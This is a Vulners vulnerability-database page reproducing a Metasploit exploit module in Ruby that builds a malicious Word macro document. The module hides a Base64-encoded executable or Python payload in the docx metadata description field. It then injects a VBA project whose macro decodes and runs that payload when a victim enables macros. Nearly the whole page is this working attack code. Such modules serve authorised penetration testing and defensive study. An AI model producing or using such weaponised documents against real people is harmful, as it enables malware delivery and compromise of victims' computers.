Lucene search
K

Microsoft Office Word Malicious Macro Execution

🗓️ 16 Feb 2017 18:32:14Reported by sinn3r <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 183 Views

Microsoft Office Word Malicious Macro Executio

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rex/zip'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::EXE

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Microsoft Office Word Malicious Macro Execution",
      'Description'    => %q{
        This module injects a malicious macro into a Microsoft Office Word document (docx). The
        comments field in the metadata is injected with a Base64 encoded payload, which will be
        decoded by the macro and execute as a Windows executable.

        For a successful attack, the victim is required to manually enable macro execution.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'sinn3r' # Metasploit
        ],
      'References'     =>
        [
          ['URL', 'https://en.wikipedia.org/wiki/Macro_virus']
        ],
      'DefaultOptions'  =>
        {
          'EXITFUNC' => 'thread',
          'DisablePayloadHandler' => true
        },
      'Targets'        =>
        [
          [
            'Microsoft Office Word on Windows',
            {
              'Platform' => 'win',
            }
          ],
          [
            'Microsoft Office Word on Mac OS X (Python)',
            {
              'Platform' => 'python',
              'Arch' => ARCH_PYTHON
            }
          ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => '2012-01-10'
    ))

    register_options([
      OptPath.new("CUSTOMTEMPLATE", [true, 'A docx file that will be used as a template to build the exploit', File.join(macro_resource_directory, 'template.docx')]),
      OptString.new('FILENAME', [true, 'The Office document macro file (docm)', 'msf.docm'])
    ])
  end

  def get_file_in_docx(fname)
    i = @docx.find_index { |item| item[:fname] == fname }

    unless i
      fail_with(Failure::NotFound, "This template cannot be used because it is missing: #{fname}")
    end

    @docx.fetch(i)[:data]
  end

  def add_content_type_extension(extension, content_type)
    if has_content_type_extension?(extension)
      update_content_type("Types//Default[@Extension=\"#{extension}\"]", 'ContentType', content_type)
    else
      xml = get_file_in_docx('[Content_Types].xml')
      types_node = xml.at('Types')

      unless types_node
        fail_with(Failure::NotFound, '[Content_Types].xml is missing the Types node.')
      end

      child_data = "<Default Extension=\"#{extension}\" ContentType=\"#{content_type}\"/>"
      types_node.add_child(child_data)
    end
  end

  def has_content_type_extension?(extension)
    xml = get_file_in_docx('[Content_Types].xml')
    xml.at("Types//Default[@Extension=\"#{extension}\"]") ? true : false
  end

  def add_content_type_partname(part_name, content_type)
    ctype_xml = get_file_in_docx('[Content_Types].xml')
    types_node = ctype_xml.at('Types')

    unless types_node
      fail_with(Failure::NotFound, '[Content_Types].xml is missing the Types node.')
    end

    child_data = "<Override PartName=\"#{part_name}\" ContentType=\"#{content_type}\"/>"
    types_node.add_child(child_data)
  end

  def update_content_type(pattern, attribute, new_value)
    ctype_xml = get_file_in_docx('[Content_Types].xml')
    doc_xml_ctype_node = ctype_xml.at(pattern)
    if doc_xml_ctype_node
      doc_xml_ctype_node.attributes[attribute].value = new_value
    end
  end

  def add_rels_relationship(type, target)
    rels_xml = get_file_in_docx('_rels/.rels')
    relationships_node = rels_xml.at('Relationships')

    unless relationships_node
      fail_with(Failure::NotFound, '_rels/.rels is missing the Relationships node')
    end

    last_index = get_last_relationship_index_from_rels
    relationships_node.add_child("<Relationship Id=\"rId#{last_index+1}\" Type=\"#{type}\" Target=\"#{target}\"/>")
  end

  def add_doc_relationship(type, target)
    rels_xml = get_file_in_docx('word/_rels/document.xml.rels')
    relationships_node = rels_xml.at('Relationships')

    unless relationships_node
      fail_with(Failure::NotFound, 'word/_rels/document.xml.rels is missing the Relationships node.')
    end

    last_index = get_last_relationship_index_from_doc_rels
    relationships_node.add_child("<Relationship Id=\"rId#{last_index+1}\" Type=\"#{type}\" Target=\"#{target}\"/>")
  end

  def get_last_relationship_index_from_rels
    rels_xml = get_file_in_docx('_rels/.rels')
    relationships_node = rels_xml.at('Relationships')

    unless relationships_node
      fail_with(Failure::NotFound, '_rels/.rels is missing the Relationships node')
    end

    relationships_node.search('Relationship').collect { |n|
      n.attributes['Id'].value.scan(/(\d+)/).flatten.first.to_i
    }.max
  end

  def get_last_relationship_index_from_doc_rels
    rels_xml = get_file_in_docx('word/_rels/document.xml.rels')
    relationships_node = rels_xml.at('Relationships')

    unless relationships_node
      fail_with(Failure::NotFound, 'word/_rels/document.xml.rels is missing the Relationships node')
    end

    relationships_node.search('Relationship').collect { |n|
      n.attributes['Id'].value.scan(/(\d+)/).flatten.first.to_i
    }.max
  end

  def inject_macro
    add_content_type_extension('bin', 'application/vnd.ms-office.vbaProject')
    add_content_type_partname('/word/vbaData.xml', 'application/vnd.ms-word.vbaData+xml')

    pattern = 'Override[@PartName="/word/document.xml"]'
    attribute_name = 'ContentType'
    scheme = 'application/vnd.ms-word.document.macroEnabled.main+xml'
    update_content_type(pattern, attribute_name, scheme)

    scheme = 'http://schemas.microsoft.com/office/2006/relationships/vbaProject'
    fname = 'vbaProject.bin'
    add_doc_relationship(scheme, fname)

    @docx << { fname: 'word/vbaData.xml', data: get_vbadata_xml }
    @docx << { fname: 'word/_rels/vbaProject.bin.rels', data: get_vbaproject_bin_rels}
    @docx << { fname: 'word/vbaProject.bin', data: get_vbaproject_bin}
  end

  def get_vbadata_xml
    File.read(File.join(macro_resource_directory, 'vbaData.xml'))
  end

  def get_vbaproject_bin_rels
    File.binread(File.join(macro_resource_directory, 'vbaProject.bin.rels'))
  end

  def get_vbaproject_bin
    File.binread(File.join(macro_resource_directory, 'vbaProject.bin'))
  end

  def get_core_xml
    File.read(File.join(macro_resource_directory, 'core.xml'))
  end

  def create_core_xml_file
    add_content_type_partname('/docProps/core.xml', 'application/vnd.openxmlformats-package.core-properties+xml')
    add_rels_relationship('http://schemas.openxmlformats.org/package/2006/relationships/metadata/core-properties', 'docProps/core.xml')
    @docx << { fname: 'docProps/core.xml', data: Nokogiri::XML(get_core_xml) }
  end

  def inject_payload
    p  = padding = ' ' * 55
    p << Rex::Text.encode_base64(target.name =~ /Python/i ? payload.encoded : generate_payload_exe)

    begin
      core_xml = get_file_in_docx('docProps/core.xml')
    rescue Msf::Exploit::Failed
    end

    unless core_xml
      print_status('Missing docProps/core.xml to inject the payload to. Using the default one.')
      create_core_xml_file
      core_xml = get_file_in_docx('docProps/core.xml')
    end

    description_node = core_xml.at('//cp:coreProperties//dc:description')
    description_node.content = p
  end

  def unpack_docx(template_path)
    doc = []

    Zip::File.open(template_path) do |entries|
      entries.each do |entry|
        if entry.name.match(/\.xml|\.rels$/i)
          content = Nokogiri::XML(entry.get_input_stream.read)
        else
          content = entry.get_input_stream.read
        end

        vprint_status("Parsing item from template: #{entry.name}")

        doc << { fname: entry.name, data: content }
      end
    end

    doc
  end

  def pack_docm
    @docx.each do |entry|
      if entry[:data].kind_of?(Nokogiri::XML::Document)
        entry[:data] = entry[:data].to_s
      end
    end

    Msf::Util::EXE.to_zip(@docx)
  end

  def macro_resource_directory
    @macro_resource_directory ||= File.join(Msf::Config.install_root, 'data', 'exploits', 'office_word_macro')
  end

  def get_template_path
    datastore['CUSTOMTEMPLATE']
  end

  def exploit
    template_path = get_template_path

    unless File.extname(template_path).match(/\.docx$/i)
      fail_with(Failure::BadConfig, 'Template is not a docx file.')
    end

    print_status("Using template: #{template_path}")
    @docx = unpack_docx(template_path)

    print_status('Injecting payload in document comments')
    inject_payload

    print_status('Injecting macro and other required files in document')
    inject_macro

    print_status("Finalizing docm: #{datastore['FILENAME']}")
    docm = pack_docm
    file_create(docm)
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation